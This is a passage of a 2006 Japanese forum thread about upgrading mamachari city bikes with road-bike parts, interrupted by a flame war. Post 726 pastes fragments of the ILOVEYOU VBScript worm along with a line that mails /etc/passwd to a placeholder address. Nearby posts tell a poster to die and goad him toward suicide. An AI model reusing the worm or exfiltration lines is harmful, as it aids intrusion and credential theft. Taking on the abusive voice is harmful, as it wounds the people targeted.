ステムポスト径はママチャリのフォークが刺さる所を見ると1インチ対応のようだけど
なんか怪しいんで別のチャリ1万円以下で探してきますよ
1万6千円貯めればLGS6の中古が買えるけど・・・・・
611:ツール・ド・名無しさん
06/01/24 00:29:17
>>610
つ［フレームバンク］
612:ツール・ド・名無しさん
06/01/24 00:55:20
>>611
フレームバンクに2.3万円のしかないじゃん
613:ツール・ド・名無しさん
06/01/24 22:17:29
漏れ以外誰も居ないのでage
614:ツール・ド・名無しさん
06/01/25 01:53:06
チェックはしてるよ資金不足で何も買えないからカキコしてないだけです
今日アンケートサイト4個登録して自転車の懸賞に応募したよ
615:ツール・ド・名無しさん
06/01/25 02:25:33
アンケートサイトｘ3 メールサイトｘ18 ビンゴゲームｘ2 懸賞サイトｘ2
これで私生活してます！
アフリエイトは私には向かないので辞めました
以前はホームページも持っており広告バナーを貼っておりました（埋め込み型）が
クリックしてくれる人などほとんどおらず広告収入0でした
現在は、たまにアルバイトしつつクリッククリックに励んでます
本当は、カメリハの新車を欲しいのですがちょっと無理っぽいので
ヤフオクのジャンクまがいな中古車で我慢しようかなと思ってます。
私のメインのオークションはウォンデットなのですが粗悪折りたたみしかないんですよ
ヤフばっかずるいですよ！ウォンにも出品してください無料ですよ無料
せっかく貯めたポイントを、ヤフのシステム料金に使うのは納得行きませんが仕方ありません
616:ツール・ド・名無しさん
06/01/25 04:07:51
>>415
何そのコピペ
617:ツール・ド・名無しさん
06/01/25 12:25:04
そうだ自転車板の住人が完全無料オークションウォンデットに不用品を出品すりゃいいんだ
618:ツール・ド・名無しさん
06/01/25 15:13:56
>>616
レス番間違ってねーか？
619:ツール・ド・名無しさん
06/01/25 16:48:53
フレーム探してんの？
どんなんが欲しいんだ？
620:ツール・ド・名無しさん
06/01/25 17:07:50
>>619
ハードテールのMTBでヘッドがオーバーサイズの奴です
サイズは小さい方が良いです
621:ツール・ド・名無しさん
06/01/25 18:16:46
>>620
ヤフオクじゃ駄目なん？
フレームいっぱいあるよ。
622:ツール・ド・名無しさん
06/01/25 18:23:50
俺の日記 2005年1月25日 晴れ 脳内気温常夏
8：00に起きて、いつもどおりメールをチェック今日はランダムマイル10マイルゲット
入札可能なオークションをチェックするが、業者と安物の折り畳み車しか出品が無い・・・orz
完全無料なのに何で流行らないの？と思いつつヤフをチェック
凄い出品数が段違い！YBBで接続してるんだからYBBユーザーに無料で入札出来るようにすれば良いのに・・・
課金以来ずーと反ヤフヲク派に所属してきた俺だが、そろそろ限界だった訳ですよ
でヤフをやるには、登録せねばならん訳ですがネットバンクの残高0なんで
取り合えず、PCのパーツやら車の部品やらをハードオフと中古部品に売りに逝きました。
で取り合えず5000円になった訳で御座います。ネットバンクに1000円振り込んだのですけど
手数料取られました！おいおい何でテメーの講座に入金すんのに手数料とんだよゴルァ！
インターホンで文句言った！けどそれだけだった・・・・orz
取り合えず家に帰りネットバンクの自動引き落とし設定をした
しかし未だにヤフーからメールが来ない・・・おい今日のオークションに間に合わないだろがゴルァ！
何のために、俺の財産を安値で売ったと思ってんだゴルァ糞が
623:ツール・ド・名無しさん
06/01/25 18:32:45
>脳内気温常夏
う～む、これが原因ですな。
しろくま食べるべし。
624:ツール・ド・名無しさん
06/01/25 19:06:00
URLﾘﾝｸ(cart1.fc2.com)
これ買おうかなと思うんだけど
625:ツール・ド・名無しさん
06/01/25 22:21:57
悪質な嫌がらせか？
626:ツール・ド・名無しさん
06/01/25 22:42:10
>>624
はい通報
627:ツール・ド・名無しさん
06/01/25 22:43:28
バカポスタル「今夜は俺様特製うんこカレーだぜよ」
バカ母「これで乳癌もなおるぞなもし」
628:ツール・ド・名無しさん
06/01/25 22:54:15
>>625
いやマジで買おうかなと思ってるのですが？
629:ツール・ド・名無しさん
06/01/25 23:55:14
>>628
気に入ったなら、いいと思うよ。
630:ツール・ド・名無しさん
06/01/26 02:21:21
ママチャリ改造というからには、ﾛｰﾄﾞやｸﾛｽ用をかもれるくらいやらないと意味ねくね？
軽量化ではかなわなそうだから、高出力化しかねーな
631:ツール・ド・名無しさん
06/01/26 08:53:43
脚壊すの覚悟でフロントに60Tでも入れるとか？
632:ツール・ド・名無しさん
06/01/26 08:54:44
> 高出力
それはママチャリじゃなくて、上の人の改造だろ。
633:ツール・ド・名無しさん
06/01/26 10:08:08
ママチャリでもフレーム以外をロードの部品で組むと
パスチャーやルイガツくらいならかもれる
634:ツール・ド・名無しさん
06/01/26 16:56:20
電動ママチャリ乗ってるけど、坂道とか0-10ｍくらいなら勝てる気がします。
ニトロとか使えば時速50ｋでるしな
635:ツール・ド・名無しさん
06/01/26 19:27:20
ママチャリをいくら弄繰り回したってロード乗りには勝てないよ。
残念だけど。
カモるって言うんだから、のんびりポタリング程度で走ってるロード乗り
に追いついて勝ったとかホザクのだけは恥ずかしいから止めとけなｗ
本気モードで走ってるロードに挑戦しろ。
一瞬だけ全速力で追いついても維持して付いて行けなかったら丸で意味ない
からねｗ
636:ツール・ド・名無しさん
06/01/26 19:47:38
結局はエンジン次第なわけで…
637:ツール・ド・名無しさん
06/01/26 19:51:56
>>636例えばエンジン（人力）が同じ（本人）なら自転車の性能が高い方が
加速もいいし最高速達成及びスピードの維持も上。
だから速さと快適さを求める人はロード買うんだろ。
したがってママチャリをあれこれいじくって速さを求めるってのは
効率の悪い行為。シャレとして遊びでやるなら兎も角。
638:ツール・ド・名無しさん
06/01/26 20:04:26
電動に拠らない方法でいかに軽く楽にするか
639:ツール・ド・名無しさん
06/01/26 20:07:09
ママチャリでもロードに勝てるお
ベルトコンベアー用のモーター積めるようい改造するの
640:ツール・ド・名無しさん
06/01/26 20:09:59
メインバイクが壊れたりしていて乗れなくて
ママチャリ使ってＬＳＤしてる君。
そんなあんた好きだよ。
641:ツール・ド・名無しさん
06/01/26 20:15:39
確かにママチャリを本気で速くしようと必死な厨房を見ると
何か不憫で痛々しいなぁ・・・
まぁがんばれよって感じ。
つーかロード乗り原付と同等に走ってるぞｗ街中だけど。０加速は
原付より速い
642:ツール・ド・名無しさん
06/01/26 20:29:05
車種にもよる
643:ツール・ド・名無しさん
06/01/26 20:56:29
ママチャリをバカにしつつ、原付と同等に走っている気になってるロード糊わろったｗ
644:ツール・ド・名無しさん
06/01/26 20:59:36
お前らママチャリで最高速ドンくらい出してるの？
あ、プロの選手が乗ったら何キロ出るとかいう話はいいからね。
645:ツール・ド・名無しさん
06/01/26 21:00:34
>>641
NSR-MiniやTZ50より加速速いにょ？
646:ツール・ド・名無しさん
06/01/26 21:23:16
>>630
クロスとなら、改造も高出力化なんか不要で同程度だろ。
647:ツール・ド・名無しさん
06/01/27 01:01:08
一番痛々しいのはリアを滑らせて｢ドリフト｣とか言ってる厨房だなｗ
648:ツール・ド・名無しさん
06/01/27 04:18:48
ケツ（横に）滑らせて店の前にピタッと止める蕎麦屋のニーチャンいたな。
勿論チャリは実用車、肩には出前の盆と丼、岡持なんか使わずにね。
649:ツール・ド・名無しさん
06/01/27 11:01:57
最近似非フラットロード（ATシフトのスポーツ車）で両脇にカゴつけた新聞配達みないな？
あれの利点は、後ろに重量物があるのでハンドリングに影響がないのと
満載時に駐車してもチャリが倒れないって事だな
650:ツール・ド・名無しさん
06/01/27 17:14:54
>>650
新聞配達は昔から実用車と相場が決まっております。
いっそさ、ママチャリ改造なんか止めて実用車改造にしないか。
651:ツール・ド・名無しさん
06/01/28 00:18:14
>>557
更新マダ～？
どんなフレーム仕入れたん？
652:ツール・ド・名無しさん
06/01/29 11:26:56
>>643
自転車をバカにしつつ、たった50km/hでも20km/hオーバーで捕まる原付はなぁ・・・。
自転車は捕まらないし、歩道とか一方通行も比較的自由だ。
原付一種って、単なる自動二輪の出来損ないだな。耐久性は以上に低いし。
二種なら維持費安くて足には最高なんだが。
653:ツール・ド・名無しさん
06/01/29 12:26:25
>>652
NS50Fは丈夫だよ10年も放置したけどちゃんと走ったお
654:ツール・ド・名無しさん
06/01/29 18:39:46
俺も普通の人よりは相当な距離を乗るけどさ。
ミントで3万km、TDR50で5万km、カブで7万キロ、オーバーホールなしで乗ったよ。
バイク屋の兄ちゃんも感心してた。
でもその位乗るとやっぱり潰れちゃうから2年位しか乗れない。
自転車は本当に耐久性高いよ。鉄のロードなんか何十万kmも乗れるもん。
655:ツール・ド・名無しさん
06/01/29 20:10:57
俺のピザ屋のお下がりスクーターは走行30万㌔（メーター三周目）ですよ
もっともエンジン本体は何度かOHしてるがね
雨もOK雪もOKそして砂利袋も4袋は詰める
656:ツール・ド・名無しさん
06/01/29 20:18:25
30万キロってすげーな。
あれって、トリップメーター10万キロまであるの？
657:ツール・ド・名無しさん
06/01/29 20:56:07
俺のは9万9千9百9十9㌔まである。
あとね、30㌔以上出しても捕まらないしメットもいらないよ
658:ツール・ド・名無しさん
06/01/29 21:24:49
街中でどれが早いとうか、一番はずかしいのはレーパンのロードｗ
659:ツール・ド・名無しさん
06/01/29 21:37:20
次いで恥ずかしいのは、そのロード乗り（非本気モード）を必死で追いかけるママチャリ乗り。
いや、誤解されない様に書くと、ママチャリを改造して、
乗りやすくしたり、サイコン付けて最高速や区間タイムを計って
なんやかんや単独でするのは、
全然恥ずかしくは無いし、そんな楽しみ方があってもいいと思うけど、
街中でロードやMTB等の少し速いペースで走ってる奴を見付けると必死になるのは
見ていて痛々しい。
660:ツール・ド・名無しさん
06/01/29 22:19:18
街中でどれが早いとうか、一番はずかしいのはノーパンのロードｗ
661:ツール・ド・名無しさん
06/01/29 23:19:38
その次が、原付（非本気）を必死で追いかけるＴバックのロードだな
662:ツール・ド・名無しさん
06/01/29 23:43:25
街の風景に一番溶け込みやすいのはママチャリだね
あとは浮いてる
663:ツール・ド・名無しさん
06/01/29 23:54:30
>>664
街による
ママチャリしか似合わない街というと高度経済成長期の新興住宅街とか団地とかだな
ママチャリ以外だと子供がMTBルック車に乗ってるとかその程度
車で言うなら高級車に限らず外車がほとんど走らないような街だね
664:ツール・ド・名無しさん
06/01/30 00:06:20
と貧乏人が申しておりますｗ
665:ツール・ド・名無しさん
06/01/30 00:11:11
たとえば築地に似合うのは運搬車でありそれ以外はママチャリも含めて異質だ
666:ツール・ド・名無しさん
06/01/30 19:54:35
うちの街はソフトライドかせめてYフォイルあたりに乗らないと浮いちゃうな。
667:ツール・ド・名無しさん
06/01/30 21:38:31
>>663
おまえ予言出来るんだなｗｗｗｗ
668:ツール・ド・名無しさん
06/01/30 21:52:00
何処が予言なんだかわからない・・・
669:ツール・ド・名無しさん
06/01/30 22:11:12
663は664にレスしてるんだよ
670:ツール・ド・名無しさん
06/01/30 22:23:33
ここ都内の高級住宅街だが、
たぶん大部分のやつは自転車なんてどーでもいいと思ってそうだから、どこでも一緒じゃねーの。
しいていえば、電動ママチャリがかなり多い。
663みたいな貧乏人だって数十万くらい出そうと思えば出せるわけだから、プｗ
671:ツール・ド・名無しさん
06/01/30 22:28:52
MAVICメカトロニック搭載ままちゃり？
672:ツール・ド・名無しさん
06/01/30 23:02:56
チャンス2のアンケートに繋がらんぞな
15ポイントごときでそんなに繋がなくてもいいでしょが15ポイントごとき
673:ツール・ド・名無しさん
06/02/05 00:44:15
うおぉおおおお 更新はいつだ！！！
674:ツール・ド・名無しさん
06/02/05 01:29:30
URLﾘﾝｸ(0bbs.jp)
更新したよ
675:ツール・ド・名無しさん
06/02/05 01:41:34
随分と前にセットされたサドルやね。
676:ツール・ド・名無しさん
06/02/05 01:46:24
>>675
まだ固定してないです
677:676
06/02/05 01:58:59
ｽﾚﾘﾝｸ(bicycle板)l50
以後こちらに移動します
678:ツール・ド・名無しさん
06/02/07 01:49:16
ﾊﾟﾌﾊﾟﾌの警音機装着
これ、最強。
鳴らした瞬間周囲が殺伐とした雰囲気を味わえる。だがDQNにマークされる危険を伴う。素人にはオススメできない。
ﾊﾟﾌｯ！ﾊﾟｯﾊﾟﾌｩ！ﾊﾟﾌ～ｩ!！ﾊﾟ…うわっなにをするjdぅdちょwecおまっwnjtふふふqkjaｳﾎｯ♪nやjg
679:ツール・ド・名無しさん
06/02/10 02:05:33
引退した某軍曹みたいに大井にママチャで行って集団引くのが最終目標？
680:ツール・ド・名無しさん
06/02/10 21:52:15
外装のママチャリを改造したよ、今日で大体完成
BB、クランク、RDに77 ただしフロントシングル(40T)でアウターは歯削り落としチェーンガード
BRにラージサイズ105(BR-1056)
シフターはグリップシフター8s
サドルはロールス
ホイールはフォーミュラの完組み(20H×24H)ｗ
12-25Tの8sでタイヤは23Cプロレース
ガードはディズナのロード用
ヘッドパーツはSUNTOUR XCPRO
ハンドル、ステム、ペダルは適当にアルミ製に交換
グリップは余ったバーテープを巻いてエンドにDCオポジット
カゴ、フレーム、ピラー等はそのまま使用
ママチャリ的な便利さとロード的な爽快さを併せ持つ出来だと思います。
普通の人がみたらママチャリだしねｗ
681:ツール・ド・名無しさん
06/02/10 22:43:01
画像うｐしてくれ
682:680
06/02/10 23:39:54
デジカメが今ないんだな。
改造途中の画像はどっかにとってあったはずだから探してみる。
683:ツール・ド・名無しさん
06/02/11 01:38:08
私・・携帯カメラで800ｘ600でUPしてます
実際には1024x768可能なんですが800x600を越すとメールで送れないのです・・・orz
684:ツール・ド・名無しさん
06/02/11 01:48:54
>>683
ん？何処にアップしたの？
685:ツール・ド・名無しさん
06/02/12 01:59:45
680のホイール取付方法が気になる
クイックなのか？
改造内容を見てるとなんだか
ベースはママチャリじゃないような気がする
ママチャリ風クロスとか
686:ツール・ド・名無しさん
06/02/12 19:18:03
ハブ軸はナット式に変えたよ。まず外さないしね。
でもまえクイック(スキュワー)にしてたときはエンドにロードエンドみたいな
形状に切ったアルミ版をかませてとめてたよ。
687:ツール・ド・名無しさん
06/02/12 20:28:53
うp!うp!
688:ツール・ド・名無しさん
06/02/14 00:14:36
リアブレーキもキャリパ仕様
スタッガード型27インチフレーム
RD取り付け可能エンド
こんなフレームをベースに遊ぼうと思ったけど
ママチャリじゃないかもね・・・
籠とか泥除け、チェーンケースはついてるんだけどさ
689:ツール・ド・名無しさん
06/02/14 01:42:00
そらママチャリじゃないな。
690:ツール・ド・名無しさん
06/02/14 17:21:12
そか、、
でも普通に700C可、シングル化、フロントDURA可したけどどう見てもママチャリだｗ
籠、泥よけ、スタンドあたりのせいだな。
691:ツール・ド・名無しさん
06/02/14 20:22:57
ぐおお
692:ツール・ド・名無しさん
06/02/17 17:24:45
サドルとハンドルの高さがほぼ同じなのはママチャリに反しますか？
693:ツール・ド・名無しさん
06/02/17 18:51:20
>>692
俺はサドルのほうが高い。わざわざ長いシートポーストを買った。
694:ツール・ド・名無しさん
06/02/18 00:20:56
インターL（前ローラーB）+皮サドルとかを目論んでるが
これはチューンドというよりドレスアップか！？
695:ツール・ド・名無しさん
06/02/18 02:45:01
チャリのドレスアップは大学生がよくやってるなあ。
あ、荷台カチ上げ+プルバックハンとかじゃないやつね。
ホムセンで売ってるような激安折り畳み車ベースに、
ベルトに引っ掛けるポーチとかアメリカン用の革製ツールポーチ付けて、
茶色のグリップに革っぽいサドル、フェンダーマスコットとか。
バイク乗りか元バイク乗りがやってるんだろうと思うけど、
勘違いキモデブ御用達の汚い爆音クーペよりは感じいいよ。
696:ツール・ド・名無しさん
06/02/18 08:50:07
サドル交換は立派なチューニングだ
697:ツール・ド・名無しさん
06/02/22 00:01:33
ドン臭いママチャリサドル風でありながらナイスなのってある？
698:ツール・ド・名無しさん
06/02/22 20:48:59
>>697
ドン臭いかどうかわからんが、
スペシャの“MILANO”を付けてる
URLﾘﾝｸ(www.daiwaseiko.co.jp)
なかなか具合ヨロシイ
699:（ ´,_ゝ｀）ﾌﾟｯ
06/03/01 22:22:02
（ ´,_ゝ｀）ﾌﾟｯ
700:ツール・ド・名無しさん
06/03/01 22:30:07
それって本皮だろ、合皮のほうがいいな
701:ツール・ド・名無しさん
06/03/02 00:53:49
>>699
ご飯粒ついてますょ
702:ツール・ド・名無しさん
06/03/02 01:07:47
>>697
URLﾘﾝｸ(www.corazon.ne.jp)
703:ツール・ド・名無しさん
06/03/02 13:51:15
パイピングはまずいだろw
704:ツール・ド・名無しさん
06/03/04 11:40:14
外装６段のママチャリにBBそのままでロード用のギアは付けられますか?
チェーンも変えたほうがいいですか？
705:ツール・ド・名無しさん
06/03/04 13:00:05
>>704
四角軸用のクランクなら、軸長が合えば（チェーンラインに問題が無く、
フレームへの干渉が無ければ）付くよ。
チェーンについては、チェーンリングを大きくするんなら、
長い物に交換する必要アリだね。
706:ツール・ド・名無しさん
06/03/05 21:27:50
半島に負けてんじゃねーよ(ﾟДﾟ)ｺﾞﾙｧ!!
707: ◆j3XsfccM2g
06/03/08 13:54:39
クランクセット買えば何も問題って無いのですよね？
708:ツール・ド・名無しさん
06/03/08 14:25:37
>>707
一体何の話しだ？
クランク交換するの？
基本的に現物合わせになるよ。
どれを買えばいいか、ある意味ギャンブル。
709:ツール・ド・名無しさん
06/03/08 14:26:11
>>707
身近に聞ける人がいないなら、
Try&Errorだよ
710:ツール・ド・名無しさん
06/03/08 23:51:11
クランク変えたらチェーンケースが付かなくなった。
いっそオーダーメイドしてやるかとか思っているのですが。
チェーンケースとか作ってくれるところありますかね。
図面とか書けないので柔軟な対応してくれるところがいいのだけど。
711:ツール・ド・名無しさん
06/03/09 01:11:11
>>710
自分で作ったら楽しそうじゃん？
ぶった切って鉄板入れてリベット打ちまくりとか。
712:ツール・ド・名無しさん
06/03/09 07:46:32
耐候性を考えないなら、ルックMTB用にホームセンターとかディスカウントショップで売ってる
シートチューブマウントの簡易チェーンリングカバーがいい。軽くなるし。
ただ、雨でチェーンが錆びるのを気にしなきゃいけないのは、ある意味ママチャリじゃないなー。
713:710
06/03/09 09:43:32
暇を見てホームセンター行ってきます。
材料買うにしてもどっちにしても行かなきゃいけなさそうだし。
しかし、ママチャリ風味ならばチェーン全部、最低でも上半分
だけでも、覆いたいものだ。
試行錯誤具合が、最近結構楽しい
714:ツール・ド・名無しさん
06/03/09 11:56:30
俺の自転車あまりにチェーンが外れやすいからカバーつけてない
車道から歩道に乗り上げる時や、こないだなんか工事中の砂利道走ってる時に振動で外れた
715:ツール・ド・名無しさん
06/03/09 12:47:48
>>714
それ、チェーンが摩耗してたり、張りが足りなくて弛んでたりしない？
外装変速じゃないよね？
716:714
06/03/09 17:44:39
外装6段。
チェーンは関係ない。買ってすぐの時からだから
717:ツール・ド・名無しさん
06/03/09 18:19:09
ママチャリのBBの大きさってどんなもん？
718:ツール・ド・名無しさん
06/03/09 18:23:18
>>717
車種によって違う。定規使って実測しな。
719:ツール・ド・名無しさん
06/03/09 18:53:50
>>717
おまえのチンコくらい
720:ツール・ド・名無しさん
06/03/09 18:57:26
BBってサイズ変更してもいいんだよな？
721:ツール・ド・名無しさん
06/03/09 19:00:00
なんで いい んだよ
おまえは死んでいいよ。
722:ツール・ド・名無しさん
06/03/09 19:06:33
>>721
死ね
723:ツール・ド・名無しさん
06/03/09 19:09:03
>>722
死ね
724:ツール・ド・名無しさん
06/03/09 19:10:19
>>723
死ね
725:ツール・ド・名無しさん
06/03/09 19:12:13
>>724
死ね
726:ツール・ド・名無しさん
06/03/09 19:13:38
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
727:ツール・ド・名無しさん
06/03/09 19:14:45
>>726
ありがと。
残念ながら対策してあるんだ。
728:ツール・ド・名無しさん
06/03/09 19:16:28
URLﾘﾝｸ(www.youtube.com)
729:ツール・ド・名無しさん
06/03/09 19:19:17
さすが厨房だな はやく自殺すればいいのに
730:ツール・ド・名無しさん
06/03/09 19:20:37
>>729
君に厨房よばれされる覚えはないよ＾＾
731:ツール・ド・名無しさん
06/03/09 19:23:22
>>730
そうだね、厨房 遺書書いた？
732:ツール・ド・名無しさん
06/03/09 19:24:06
いちいち粘着するなよ( ´_ゝ｀)
733:ツール・ド・名無しさん
06/03/09 19:26:26
キーボードが涙でぬれて使えなくなったかな？大丈夫？
734:ツール・ド・名無しさん
06/03/09 19:29:27
>>733
, '´ ￣￣ ` ､
i r-ｰ-┬-‐､i
| |,,＿ ＿,{|
Ｎ| "ﾟ'` {"ﾟ｀lﾘ や ら な い か
ﾄ.i ,__''_ !
／i/ l＼ ー .ｲ|､
,.､- ￣/ | ｌ ￣ / | |` ┬-､
/ ヽ. / ト-` ､ノ- | l l ヽ.
/ ∨ l |! | ｀> | i
/ |｀二^> ｌ. | | ＜＿_,| |
＿| |.|-< ＼ i / ,イ_＿__!／ ＼
.| {.| ` - ､ ,.---ｧ^! | |￣￣￣￣￣￣￣￣￣￣￣l
＿_{ ＿__|└―ｰ／ ￣´ |ヽ |＿__ﾉ＿＿＿＿＿＿＿＿＿＿＿_|
｝／ -= ヽ__ - 'ヽ -‐ ,r'ﾞ l |
＿_fﾞ/／￣￣ ＿ -' |＿＿＿＿＿ ,. - ￣ ＼＿＿__|
| | - ￣ ／ | _ |￣￣￣￣ ／ ＼ ￣|
＿__`＼ ＿＿ ／ ＿l -￣ l＿＿_ ／ , / ヽi＿__.|
￣￣￣ | _ 二 =〒 ￣ ｝￣ ／ l | !￣￣|
＿＿＿＿＿__l -ヾ￣ l／ l| |＿＿_|
735:ツール・ド・名無しさん
06/03/09 19:29:57
いいよ
736:ツール・ド・名無しさん
06/03/09 19:34:09
URLﾘﾝｸ(thumbstower.com)
737:ツール・ド・名無しさん
06/03/09 19:35:43
ごめんねぇいくらウイルスだなんだやってくれても、オイラには意味ないのよ
いろいろ準備してあるんだね。さすがキチガイｗｗｗ
738:ツール・ド・名無しさん
06/03/09 19:35:54
>>737
＿＿ ＿＿ ＿＿_ ＿＿＿＿＿ ＿＿＿＿_ ＿
| | / / | ／/ | /＿＿ __/ [][] /￣￣￣￣￣￣￣￣ﾌ / /
| |. / / / / / /￣￣|. l / / ￣ﾌ /￣￣/ /￣￣ ,__/ /
| | / / / / / /. ／ / | |___ ／ _ニ＾ヽ_./ / ／＼ ヽ |／￣￣＼
| | / / / / / ￣￣ ／ ＼＿_| ／／ / / / / ／ ／ / ／￣￣＼＼
| |. / / / / / /￣￣￣ ／／＼ / / / /- ’-ｰ ＾ / ／ | |
| |/ / / /. / / ／／ ／／ / / ／ / | |
|. / / / / / ￣ ／／ / /＿＿__人 フ / ／二ヽ /
| /. ／ | ./ / ／／ ヽ ＿＿＿＿ゝ ヽ_/ ＼ﾆﾆΛ＼
￣￣￣ ￣￣￣. ￣￣ ￣ ￣
ニュー速VIP
URLﾘﾝｸ(ex14.2ch.net)
739:ツール・ド・名無しさん
06/03/09 19:38:19
え、なに、国葬してくれるの？やったぁ！
君も参列してね♪
740:ツール・ド・名無しさん
06/03/09 19:39:06
URLﾘﾝｸ(dolby.dyndns.org)
741:ツール・ド・名無しさん
06/03/09 19:39:42
ほら、君のお父さんのページだよ>>720
URLﾘﾝｸ(www5f.biglobe.ne.jp)
742:ツール・ド・名無しさん
06/03/09 19:44:00
ほら、お母さんが晩御飯だって言ってるよ
あ、、、ごめん、、、君って家庭内暴力してるから、お母さんは死んだんだっけ、、、
743:ツール・ド・名無しさん
06/03/09 19:45:46
>>742
URLﾘﾝｸ(www.impaled.info)
こんな感じになりましたよ。てか君リアルで厨房だったのか
744:ツール・ド・名無しさん
06/03/09 19:52:40
いままで探してたの？お疲れさん。
745:ツール・ド・名無しさん
06/03/09 19:55:04
>>744
飯食ってた。
746:ツール・ド・名無しさん
06/03/09 19:55:55
おう
747:ツール・ド・名無しさん
06/03/09 19:59:04
>>746
カイレラでスト2対戦しませんか？
748:ツール・ド・名無しさん
06/03/09 20:01:16
URLﾘﾝｸ(2ch.jpn21.net)
749:ツール・ド・名無しさん
06/03/09 20:01:26
厨房じゃねーからそんな暗号しらねーよ
750:ツール・ド・名無しさん
06/03/09 20:02:57
URLﾘﾝｸ(up2.viploader.net)
751:ツール・ド・名無しさん
06/03/09 20:04:37
>>749
君にオススメの掲示板があるお(＾ω＾)
その名も「ニュー速VIP掲示板｣だお(＾ω＾)
君と同じ小学生や中学生もたくさんいるお(＾ω＾)
URLﾘﾝｸ(ex14.2ch.net)
752:ツール・ド・名無しさん
06/03/09 20:11:27
馴れ合いはこっちでやってろ
ニュース速報(VIP)＠2ch掲示板
URLﾘﾝｸ(ex14.2ch.net)
ゲームの話題はここで
ニュース速報(VIP)＠2ch掲示板
URLﾘﾝｸ(ex14.2ch.net)
恋愛相談？氏ねよこっちでやってろ
ニュース速報(VIP)＠2ch掲示板
URLﾘﾝｸ(ex14.2ch.net)
突発OFF？氏ねよこっちでやってろ
ニュース速報(VIP)＠2ch掲示板
URLﾘﾝｸ(ex14.2ch.net)
学校生活？氏ねよこっちでやってろ
ニュース速報(VIP)＠2ch掲示板
URLﾘﾝｸ(ex14.2ch.net)
人生相談はこちらでお願いします
ニュース速報(VIP)＠2ch掲示板
URLﾘﾝｸ(ex14.2ch.net)
アニヲタ御用達
ニュース速報(VIP)＠2ch掲示板
URLﾘﾝｸ(ex14.2ch.net)
753:ツール・ド・名無しさん
06/03/09 20:11:32
君の好きなところじゃんｗ
紹介ありがとうね。興味ないや。
754:ツール・ド・名無しさん
06/03/09 20:15:34 BE:232101465-
⊂ニニニ（ ・？ω・？）ニ⊃ブーン
755:ツール・ド・名無しさん
06/03/09 20:17:48 BE:348152459-
>>753
⊂二二二＜ ｀∀´＞二⊃ ウリの勝利ニダ!
756:ツール・ド・名無しさん
06/03/09 20:20:37
>>755
おめでとう！
757:ツール・ド・名無しさん
06/03/09 20:21:47 BE:139261436-
>>756
ｱｲｺﾞ━━━<｀Д´>━━━!!!
758:ツール・ド・名無しさん
06/03/09 20:23:21
>>756
てか専ブラ使えよ
759:ツール・ド・名無しさん
06/03/09 20:30:21
使ってるけど、なあに？
760:ツール・ド・名無しさん
06/03/09 20:32:48
>>759
俺の心境こんな感じ
URLﾘﾝｸ(youtube.com)
761:ツール・ド・名無しさん
06/03/09 20:35:48
弥生のホイールが欲しいよ
762:ツール・ド・名無しさん
06/03/09 20:41:29
>>760
みえないし
763:ツール・ド・名無しさん
06/03/09 20:43:50
>>762
さすがは厨房ですね＾＾
プラグイン入れろよ
764:ツール・ド・名無しさん
06/03/09 20:45:27
やっぱ弥生のホイールはかっこいい
URLﾘﾝｸ(page11.auctions.yahoo.co.jp)
765:ツール・ド・名無しさん
06/03/09 20:46:55
プラグインなんか入るブラウザー使ってねーんだよ
766:ツール・ド・名無しさん
06/03/09 20:49:02
弥生のホイールが手に入ったら100系のチェイサーにつけてみる
URLﾘﾝｸ(page8.auctions.yahoo.co.jp)
767:ツール・ド・名無しさん
06/03/09 20:55:57
>>766
その車、次の車検通すのって、面倒臭い事になる？
768:ツール・ド・名無しさん
06/03/09 21:00:10
>>767
俺の住んでいる町の条例では間違いなくアウト。
多分車検通らないよ
769:ツール・ド・名無しさん
06/03/14 19:56:58
ワイヤーカッター買ったんで
ワイヤーを少し切りつめた
ハンドルカットした時にそのままだったんで
ちょっと余ってたんだよね
ブレーキとかけっこうフィーリング良くなってビックリ
770:ツール・ド・名無しさん
06/03/14 20:01:20
あたり前田のクラッカー
771:ツール・ド・名無しさん
06/03/16 20:14:30
ま、そーゆーなヨ
知識としては知っていたが
予想以上の変化に驚いたワケ
772:ツール・ド・名無しさん
06/03/18 10:43:31
ハンドルを少し遠めにしたいんですが、どうすればいいでしょうか？
773:ツール・ド・名無しさん
06/03/18 12:29:36
腕を短くする
774:ツール・ド・名無しさん
06/03/18 13:36:57
カゴと干渉しない範囲で
ステムを換える
ハンドルを換える
775:ツール・ド・名無しさん
06/03/18 15:09:03
>>774
ママﾁｬﾘ用の長いステムってあるんですか？
776:ツール・ド・名無しさん
06/03/18 16:09:47
あるよ
777:ツール・ド・名無しさん
06/03/18 16:10:46
ロード用のスレッドステムが使えるよ
URLﾘﾝｸ(www.cb-asahi.co.jp)
778:ツール・ド・名無しさん
06/03/18 21:06:35
ハンドルバークランプ径に注意しなよ。
極力合わせた物を選ぶか、シム使うなら確実に合った物を。
779:ツール・ド・名無しさん
06/03/21 00:47:23
27インチのママチャリに700cのタイヤ履かせたいけど
このホイールに変えればいけるよ！みたいのありますか？
780:ツール・ド・名無しさん
06/03/21 08:38:57
700cのホイール
781:ツール・ド・名無しさん
06/03/21 10:08:39
>>779
この辺を参考にどうぞ
URLﾘﾝｸ(justlikeakame.com)
782:ツール・ド・名無しさん
06/03/26 00:17:25
最近は700Cのママチャリってないのかな
783:ツール・ド・名無しさん
06/03/27 09:18:05
>>777>>778
クランプ径22.2のがみつかりません
784:ツール・ド・名無しさん
06/03/27 14:03:51
ふつうの突き出し長いのを使えばいいだろ２２．２であるわ
785:ツール・ド・名無しさん
06/03/27 19:00:11
バーも換えりゃいいじゃん
786:ツール・ド・名無しさん
06/03/27 19:09:22
自転車かえりゃいいじゃん
787:ツール・ド・名無しさん
06/03/27 20:03:37
>>782
あさひがオリジナルブランドCBAで出してるよ
788:ツール・ド・名無しさん
06/03/28 20:50:33
アルベルトロイヤルエイトのチューンしたいんですが、
何をすればいいですか？
789:ツール・ド・名無しさん
06/03/28 20:54:21
>>788
スピードドライブ組め。
フォーク交換して油圧ディスク+700cリムぶっこめ。
リアも700cな。
790:ツール・ド・名無しさん
06/03/28 20:54:32
